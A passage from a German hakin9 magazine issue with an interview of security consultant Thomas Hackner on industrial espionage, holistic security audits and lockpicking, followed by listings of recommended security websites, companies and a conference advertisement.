Die Schadenssummen reichen dabei von unter 20.000 Euro bis hin zu über 1,5 Millionen Euro. Hochgerechnet würde dies einen jährlichen Schaden von zirka 880 Millionen Euro allein Österreich bedeuten. Die Dunkelziffer wird auch hier wesentlich höher geschätzt. hakin9: Was sind die Hauptursachen für erfolgreiche Angriffe? Wo sehen Sie noch Nachholbedarf für Unternehmen? Thomas Hackner: Wie aus Berichten hervorgeht, lässt sich zirka die Hälfte aller Fälle auf Informationsabfluss durch Mitarbeiter, entweder jene, die das Unternehmen verlassen, aber auch Aktive, zurückführen. Ein nicht unbeträchtliches Risiko stellen zudem Kooperationspartner und der Informationsaustausch mit diesen dar. Richtet man sich nach diesen Punkten, so fehlt es hier an Überprüfungen der Mitarbeiter bereits beim Einstellungsgespräch, internen Sicherheitsmaßnahmen und -richtlinien, welche den Informationsfluss im Unternehmen und nach Außen regeln, und am Bewusstsein der Unternehmen und dessen Mitarbeitern.
hakin9: Sie sprechen von einer Dunkelziffer, gibt es denn Zahlen, denen man Glauben schenken kann? Thomas Hackner: Leider gibt es keine offiziellen Zahlen, die den wahrscheinlich durchgeführten Angriffen auch nur Nahe kommen. Zum einen liegt es in der Natur der Sache, dass derartige Angriffe nicht erkannt werden sollen und zum anderen werden identifizierte Vorfälle nur selten gemeldet. Allerdings wurde 2010 eine Studie über die Betroffenheit der österreichischen Unternehmen durch Wirtschafts- und Industriespionage veröffentlicht. Durchgeführt wurde diese vom FH Campus Wien in Zusammenarbeit mit dem Bundesamt für Verfassungsschutz und Terrorismusbekämpfung des BMI. Aus dieser Studie geht interessanterweise hervor, dass 31 % der befragten Unternehmen bereits Opfer eines derartigen Angriffes wurden.
44
1/2011
Interview mit Thomas Hackner
hakin9: Wie kann nun ein Unternehmen wissen, ob es betroffen ist und welche Maßnahmen sind in solch einem Fall zu setzen? Thomas Hackner: Wir sehen leider, dass die Unternehmensgröße keinen Effekt auf das Risiko angegriffen zu werden hat. Jedes Unternehmen besitzt USPs, die es von seinen Konkurrenten abhebt, oder seine Marktposition stärkt. Dies können spezielle Abläufe im Unternehmen, billige Herstellung, qualitativ hochwertige Produktion, aber auch gute Verträge mit Kunden und Beziehungen zu Lieferanten sein. Die Frage, die vor allem Unternehmen zur illegalen Konkurrenzanalyse bewegt, ist – warum kaufen die Kunden bei meiner Konkurrenz und wie kann ich sie überzeugen bei mir zu kaufen?. Und dies macht jedes erfolgreiche Unternehmen zum möglichen Ziel. Jedes Unternehmen sollte sich bewusst machen, was seine Kernkompetenzen sind und worin es sich von seinen Mitbewerbern unterscheidet. Dies werden mit hoher Wahrscheinlichkeit auch jene Bereiche sein, die es verstärkt zu schützen gilt. Geschützt werden können diese nur durch ein Sicherheitskonzept, das sowohl IT, Personal und Geschäftslokalitäten vereint. Es ist wichtig alle diese Aspekte in die eigene Sicherheitsstrategie zu integrieren. Wird ein Bereich außen vor gelassen, so wird mit hoher Wahrscheinlichkeit gerade dieser von potentiellen Angreifern zur Durchführung ihres Planes ausgewählt werden. Investitionen zur Absicherung in den beiden anderen Bereichen konnten dann nur teilweise ihre Wirkung zeigen und den Angriff leider nicht verhindern. Doch sollte man sich nicht entmutigen lassen, man kann sich diesem Ziel Schritt für Schritt nähern und mit dem richtigen Einsatz an Mitteln oft bereits durch relativ kostengünstige Maßnahmen die Sicherheit für das eigene Unternehmen erhöhen. hakin9: Angenommen ein Unternehmer würde nun auf Sie zukommen und um Hilfe bitten, was wären die ersten Schritte, die sie dem Unternehmer raten würden? Thomas Hackner: Zu aller erst sollte man sich seiner Situation, seiner schutzwürdigen Interessen und seiner Risiken bewusst sein. Für Risikoanalysen möchte ich an dieser Stelle auf bewährte Vorgehensweisen, wie beispielsweise ISO 27005 oder NIST SP 800-30, verweisen. Für die Ermittlung des Ist-Standes der Sicherheit im Unternehmen und der Wirksamkeit der bisher eingesetzten Mittel, möchte ich zur Durchführung eines ganzheitlichen Sicherheitsaudits raten. In diesen werden sowohl physische und personelle, als auch die ITSicherheitsmaßnahmen auf ihre Effektivität und ihr Vorhandensein hin überprüft. hakin9: Wie läuft ein ganzheitliches Sicherheitsaudit ab? Thomas Hackner: In einem initialen Workshop werden mit dem Kunden gemeinsam die wertvollsten Assets in seinem Unternehmen erarbeitet. Dies können Informatio-
hakin9.org/de
nen, Know-How, Kundenlisten, aber auch bestimmte Produktionsmaschinen sein. Anschließend wird versucht die Gefährdungslage zu klären und darauf aufbauend, die passendste Vorgehensweise für die folgende Sicherheitsüberprüfung zu wählen. Es kann sein, dass es vernünftiger ist, verschiedene Phasen zu definieren, in denen schrittweise und unabhängig voneinander Überprüfungen der IT-Sicherheit, physische Tests und Social Engineering Angriffe durchgeführt werden. Wichtig wäre dabei, dass ein Koordinator hinter diesen Tests steht, der die Ergebnisse der einzelnen Phasen im Ganzen versteht und in ein Gesamtkonzept vereinen kann. Wird dies im Zuge eines Projektes mit einem Anbieter ganzheitlicher Sicherheitsüberprüfungen durchgeführt, ist dies ohnehin der Fall. Wurden die einzelnen Bereiche nach ihrer Überprüfung abgesichert, so können diese in einem Abschlusstest auf ihre letzte Probe gestellt werden. Auch für diesen Test muss detailliert festgelegt werden, welche Assets Ziel des Angriffes sind – ist es beispielsweise das Entwenden eines Dokuments, der Einbruch in ein Computersystem oder der Beweis in den Serverraum zu gelangen. Dies wird in einer Sitzung mit dem Geschäftsführer festgelegt, sodass niemand im operativen Betrieb von der bevorstehenden Überprüfung weiß. Zudem werden Techniken und Handlungsspielraum der Tester definiert. Sind alle Formalitäten geklärt, erfolgt die abschließende Überprüfung, die das Unternehmen einer quasi realen Attacke durch versierte Angreifer aussetzt. Dabei sind die Tester dazu angehalten alle ihre Kenntnisse und Tools einzusetzen und die implementierten Sicherheitsmaßnahmen in allen drei vorher genannten Bereichen auf ihre Wirksamkeit im Anlassfall zu testen. Dieses Audit nennt sich auch Tiger Team Assessment und ist die einzige Möglichkeit, mehr über die effektive Sicherheit des Unternehmens im Ernstfall zu erfahren und noch vorhandene Schwachstellen im Gesamtkonzept zu erkennen. Dieses Assessment wird jedoch nicht nur am Ende eines eben beschriebenen Projektes mit mehreren Phasen durchgeführt, sondern kann auch zur ersten schnellen Erhebung der größten Schwachpunkte in einem Unternehmen eingesetzt werden. So stellt es eine kostengünstige Möglichkeit dar, sich einen Überblick über den Ist-Stand der Umsetzung der gesamten Sicherheitsstrategie zu verschaffen und Mängel bereits frühzeitig zu identifizieren. hakin9: Die Durchführung von IT-Penetration Tests und Social Engineering Audits wird in Europa bereits von einigen Firmen angeboten. Sie führen neben diesen beiden Überprüfungen jedoch auch physische Sicherheitsaudits durch, und führen diese in dem von Ihnen beschriebenen ganzheitlichen Konzept zusammen. Wie sind Sie dazu gekommen und woher haben Sie Ihre Kenntnisse? Thomas Hackner: Es liegt bereits einige Jahre zurück, dass ich begonnen habe mich mit der zerstörungsfreien Öffnung von Schließzylindern zu beschäftigen. Ich
45
INTERVIEW
kaufte damals mein erstes Pickset und ein Schloss im Baumark und verbrachte eine knappe Stunde damit, es zu öffnen. Damals hatte ich noch nicht das Gespür und das Verständnis für die Vorgänge während des Pickens, doch wenn nach einer Stunde, in der man mit dem Pickwerkzeug im Dunkeln tastet, das Schloss plötzlich öffnet, erlebt man einen sehr zufriedenstellenden Augenblick. Die darauf folgenden Öffnungsversuche gingen dann mit 10 und 5 Minuten bereits um Einiges schneller. Heute benötige ich für das gleiche Schloss 1 bis 3 Sekunden. Diese Öffnung damals war genug Motivation, mich mit der Thematik näher zu beschäftigen und so gründete ich den österreichischen Lockpicking-Verein OpenLocks.at, den wir seit August mit einer Gruppe engangierter Picker als offiziellen Sportverein führen. Durch Kontakte im Bereich der Schloss- und Tresoröffnung, den Besuch von Weiterbildungsseminaren und vor allem laufende praktische Trainings erweiterte sich mein Wissensgebiet von der zerstörungsfreien Schlossöffnung zur physischen Absicherung von Unternehmen. Meine Ausbildung und praktische Erfahrung davor war hauptsächlich auf ITSicherheit, die Durchführung von IT Penetration Tests und IT Security Management Systemen ausgerichtet. Es war naheliegend, dass man mit IT Penetration Tests nur einen Teilaspekt der Unternehmens- und Informationssicherheit abdeckt. Physische Sicherheit ist bereits in wichtigen IT-Security Management Standards, wie ISO 27001 oder NIST SP 800-30, ein Thema, wird aber aus IT-Sicht etwas vernachlässigt. IT-Sicherheitsbeauftragte sind im Bereich der physischen Sicherheit oft nicht geschult, ein direkter Verantwortlicher für physische Sicherheit fehlt oder es besteht nur eingeschränkt Kommunikation zwischen beiden Bereichen. Mein Ziel ist es, diese Welten miteinander zu verknüpfen und einen umfassenderen Ansatz zur Informationssicherheit zu liefern. hakin9: Sie beteiligen sich ja nicht nur aktiv am Lockpicking-Verein OpenLocks sondern haben auch das Projekt SecurityPitfalls.org ins Leben gerufen, mit dem Ziel Bewusstsein für Sicherheit zu schaffen. Wie ist dies entstanden und kann jeder daran mitarbeiten? Thomas Hackner: (lacht) Sie haben sich im Vorfeld gut informiert. Entstanden ist dies eher durch Zufall, als ich mit meinem geschätzten Freund Aljosha Judmayer einen Vortrag auf einer Konferenz über das Umgehen von physischen Sicherheitsmechanismen halten sollte. Wir machten dazu einen Streifzug durch Wien und fanden wirklich viele interessant Beispiele, auch von sehr namhaften Firmen, die zwar klar ersichtlich Sicherheitsmaßnahmen getroffen hatten, diese aber völlig falsch umsetzten und damit neue Lücken öffneten. Wir begannen also diese Situationen zu fotografieren und zu sammeln und so entstand eine kleine Beispielgallerie an Sicherheitslücken. Irgendwann kam ich jedoch auf die Idee, diese Sammlung im Internet zu veröffentlichen und für
46
Jedermann zur Verfügung zu stellen, da auf diese Weise mehr Menschen erreicht werden können. Die nun veröffentlichten Beiträge zeigen Fehler auf, die bei der Umsetzung von Sicherheitsmaßnahmen passieren können und sollen zum einen Sicherheitsbeauftragte auf mögliche Fehler aufmerksam machen und bei all jenen, die sich noch nicht mit der Thematik auseinander gesetzt haben, Bewusstsein schaffen. Das Projekt ist nicht auf physische Sicherheit beschränkt, wir haben auch Geschichten aus dem Social Engineering-Bereich, sowie Code-Beispiele aus der IT. Die Geschichten und Bilder sind frei verfügbar und können von jedem verwendet werden. Und vielleicht hilft es ja auch dem ein oder anderen Security Consultant dabei, Awareness beim Kunden zu schaffen. Mitarbeit ist nicht nur möglich, sondern auch erwünscht. Wir sind stark davon abhängig, dass uns Leser ihre Beiträge und Erlebnisse per Mail zusenden. Bilder und Beiträge werden anschließend anonymisiert und der Öffentlichkeit zum freien Gedanken- und Meinungsaustausch zur Verfügung gestellt. hakin9: Was dürfen wir in Zukunft von Ihnen erwarten? Thomas Hackner: Das Jahr 2011 wird ein sehr spannendes Jahr. Zum einen bieten wir mit HACKNER Security Intelligence erstmals ganzheitliche Sicherheitspakete für jede Unternehmensgröße an und werden Unternehmen dabei unterstützen, physische Sicherheit mit dem Thema Social Engineering und IT-Sicherheit in Einklang zu bringen. Hier erwarten uns sicher viele spannende Projekte und Sicherheitsaudits. OpenLocks.at ist bereits in den Bundesländern Oberösterreich und Wien vertreten, wo wir monatliche Treffen veranstalten, bei denen jeder herzlichst eingeladen ist, vorbei zu kommen. Wir freuen uns über jeden neuen begeisterten Lockpicker und eine erste österreichische Meisterschaft der zerstörungsfreien Schlossöffnung wäre ein guter Schritt, den Lockpicking-Sport auch hier weiter voran zu treiben. SecurityPitfalls.org ist ein sehr Community-orientiertes Projekt, wir freuen uns also auch hier über jeden, der uns neue Bilder oder Stories schickt. Mit HACKNER Security Intelligence arbeiten wir eng in Forschung und Projektarbeit mit Universitäten und Forschungseinrichtungen zusammen und auch hier wird es im Jahr 2011 erste interessante Publikationen geben. hakin9: Wir bedanken uns sehr herzlich für das Gespräch! Thomas Hackner: Die Freude liegt ganz auf meiner Seite. Geführt wurde dieses Interview mit Thomas Hackner, dem Geschäftsführer von HACKNER Security Intelligence. Für weitere Fragen oder Diskussionen ist er unter der E-Mail Adresse t.hackner@ hackner-security.com bzw. über die Webseite http://www.hackner-security.com zu erreichen.
1/2011
Recommended Sites
Die Seed Forensics GmbH bietet für Strafverfolgungsbehörden professionelle Unterstützung in den Bereichen der Datensicherstellung und Datenträgerauswertung. Selbstverständlich entsprechen unsere Mitarbeiter, unser technisches Equipment und auch unsere Räumlichkeiten den notwendigen Anforderungen. www.seed-forensics.de
Datenschutz ist EU-weit gesetzliche Anforderung. Wir sorgen für die Erfüllung rechtlicher Vorschriften und kümmern uns um ein angemessenes Datenschutzniveau in Ihrem Unternehmen, auch international. www.blossey-partner.de
Die Netzwerktechnik steht auf www.easy-network.de im Mittelpunkt. Artikel, Tutorials und ein Forum bieten genügen Stoff für kommende Administratoren und Netzwerkprofis.
Securitymanager.de ist eine Produktion des Online-Verlag FEiG & PARTNER. Seit dem Start hat sich Securitymanager.de zu einem führenden Online-Informationsportal in Deutschland entwickelt und versteht sich als unabhängiger Informationsdienstleister der IT- und Information-Security-Branche. www.securitymanager.de
Happy-Security ist ein neues Portal mit Security-Challanges, IT-Quiz, Web-Bibliothek, Multimedia-Center & vielen weiteren Features. www.happy-security.de
Hier findest Du alles, was das Herz eines Computerfreaks höher schlagen lässt: Geek Wear mit intelligenten Sprüchen, eine riesige Auswahl Gadgets und natürlich auch viele Hacker Tools. www.getDigital.de
CloudSafe stellt seinen Nutzern eine Plattform zur kryptographisch sicheren Ablage und Verwaltung von sensiblen Daten zur Verfügung: Nutzer können auf CloudSafe beliebig viele Dokumente in virtuellen Safes ablegen. Es können weiteren Personen individuelle Zugriffsrechte auf die Safes eingeräumt und somit ein sicherer Datenaustausch ermöglicht werden. www.cloudsafe.com
AV-Comparatives geht hervor aus dem Innsbrucker Kompetenzzentrum und gilt als eines der bekanntesten unabhängigen Testhäuser für Antiviren-Software. www.av-comparatives.org
Pericom base camp IT-Security: Unser Ziel ist es, unsere Kunden vor möglichen Gefahren für Ihre IT-Infrastruktur bestmöglich zu schützen. Neben der Analyse von Risikopotentialen durch Security Audits bieten wir, durch die Implementierung von Security-Lösungen, Schutz vor konkreten Gefahren. www.pericom.at
www.easy-network.de
Wollen Sie Ihre Seite empfehlen, kontaktieren Sie bitte:
[email protected]
Recommended Companies Mabunta
Die mabunta GmbH agiert als hochspezialisierter und kompetenter Partner rund um IT-Security- und Netzwerk-Lösungen. Wir unterstützen bei IT-Sicherheitsfragen in allen Unternehmensbereichen, verbinden Wachstum mit sicherer Kommunikation. Alles in allem- mabunta „one-face-tothe-customer“, Ihr Spezialist in Fragen der IT-Sicherheit. www.mabunta.de
SEC Consult
SEC Consult
SEC Consult ist der führende Berater für Information Security Consulting in Zentraleuropa. Die vollständige Unabhängigkeit von SW- und HW-Herstellern macht uns zum echten Advisor unserer Kunden. Unsere Dienstleistungen umfassen externe/interne Sicherheitsaudits, (Web-) Applikationssicherheit (ONR 17700), Sicherheitsmanagement-Prozesse (ISO 27001) etc. www.sec-consult.com
Tele-Consulting GmbH
Vom BSI akkreditiertes Prüflabor für ITSicherheit, hakin9 und c’t Autoren, jahrelange Erfahrung bei der Durchführung von Penetrationstests und Security-Audits, eigener Security Scanner „tajanas”, Sicherheitskonzepte, Risikoanalysen, IT-Grundschutz-Beratung, 3 lizenzierte ISO 27001-Auditoren, VoIP-Planung und -Security
secXtreme GmbH schützt Ihre Web-Anwendungen bis auf Applikationsebene. Dazu gehört sowohl die Prüfung von Applikationen (Pentests und Code-Reviews) als auch Beratungsleistungen für Sicherheit im Entwicklungsprozess und Schutzlösungen (Web Application Firewalls) bei Großunternehmen und dem gehobenen Mittelstand. www.sec-Xtreme.com
B1 Systems Die B1 Systems ist international tätig in den Bereichen Linux/Open Source Consulting, Training und Support. B1 Systems spezialisiert sich in den Bereichen Virtualisierung und Cluster.
[email protected] www.b1-systems.de
Blossey & Partner Consulting Datenschutzbüro Datenschutz ist EU-weit gesetzliche Anforderung. Wir sorgen für die Erfüllung rechtlicher Vorschriften und kümmern uns um ein angemessenes Datenschutzniveau in Ihrem Unternehmen, auch international. Wir erledigen alle erforderlichen Aufgaben, die Fäden behalten Sie in der Hand. Nutzen Sie unser Erstberatungsgespräch.
www.tele-consulting.com www.blossey-partner.de
Recommended Companies m-privacy GmbH
NESEC NESEC ist Ihr Spezialist für Penetrationstests, Sicherheitsanalysen und IT-Security Counsulting. Das NESEC Pentest-Team unterstützt Sie bei Sicherheitsprüfungen Ihrer Netzwerke und Webapplikationen sowie bei Source Code Audits. Bei Bedarf optimieren wir Ihre Policy, sensibilisieren Ihre Mitarbeiter und zertifizieren Ihr Unternehmen nach ISO 27001.
IT-Sicherheitslösungen – funktional und einfach zu bedienen! So präsentieren sich die von m-privacy entwickelten TightGate™-Server, z.B. TightGate™-Pro mit Datenschutz-Gütesiegel. Es bietet als erstes System weltweit einen kompletten Schutz vor Online-Spionage, Online-Razzien und gezielten Angriffen! www.m-privacy.de
www.nesec.de
Seed Forensics GmbH
Die Seed Forensics GmbH bietet für Strafverfolgungsbehörden professionelle Unterstützung in den Bereichen der Datensicherstellung und Datenträgerauswertung. Selbstverständlich entsprechen unsere Mitarbeiter, unser technisches Equip0ment und auch unsere Räumlichkeiten den notwendigen Anforderungen.
OPTIMAbit GmbH Wir sind Spezialisten für Entwicklung und Security. Wir sichern Java, .NET und Mobile Applikationen gegen Angriffe externer und interner Art. Unsere Dienste umfassen Audits, Code Reviews, Penetrationstest, sowie die Erstellung von Policies. Zusätzlich bieten wir Seminare zu sicherheitsrelevanten Themen. www.optimabit.com
www.seed-forensics.de
Protea Networks
Protea ist spezialisiert auf IT-SecurityLösungen: Verschlüsselung, Firewall/ VPN, Authentifizierung, Content-Filtering, etc. Wir bieten umfassende Beratung, Vertrieb von Security-Hard- und Software, Installation und umfangreiche Dienstleistungen (z. B. Konzeption, Trainings). Protea setzt auf Lösungen der Markt- und Technologieführer und hält dafür direkten inhouse-Support bereit. www.proteanetworks.de
SecureNet GmbH, München Als Softwarehaus und Web Application Security Spezialist bieten wir Expertise rund um die Sicherheit von Webanwendungen: Anwendungs-Pentests, Sourcecodeanalysen, Secure Coding Guidelines, Beratung rund um den Software Develoment Lifecycle. Tools: Application Firewalls, Application Scanner, Fortify SCA/Defender/Tracer. www.securenet.de
secadm secadm ist durchtrainierter Spezialist für Airbags, ABS und Sicherheitsgurte in der IT. Zehn IT-Sicherheitsexperten mit 70 Mannjahren Erfahrung beraten, entwickeln und implementieren IT-Lösungen für Kunden weltweit. Der Fokus liegt dabei auf Themen wie Prozess-Optimierung und Security-Management. Risiko-Analyse, die Sicherheitsberatung, Auditing, Security-Leitfäden, Software-Entwicklung, Reporting bis zum Training. www.secadm.de
underground_8 secure computing gmbh Wir entwickeln und vertreiben security appliances für die Bereiche Unified Threat Management, Traffic Shaping und Antispam. Unsere Lösungen sind hardwarebasiert und werden über Distributoren, Reseller und Systemintegratoren implementiert und vertrieben. www.underground8.com
HACKER SIND ANGRIFFSLUSTIG. Besuchen Sie die Swiss Cyber Storm 3 Security Konferenz! 12. - 15. Mai 2011, Rapperswil (CH) Highlights: Cyber Underground Threats - FBI Experiences - Security Researches - Interactive Hacking Lab OWASP Training - Forensic Investigations - Hacker Profiling - Advanced Persistent Threats Incident Handling - iPhone Hacking - Wargame Challenges - Capture The Flag - Special Events and more!
www.swisscyberstorm.com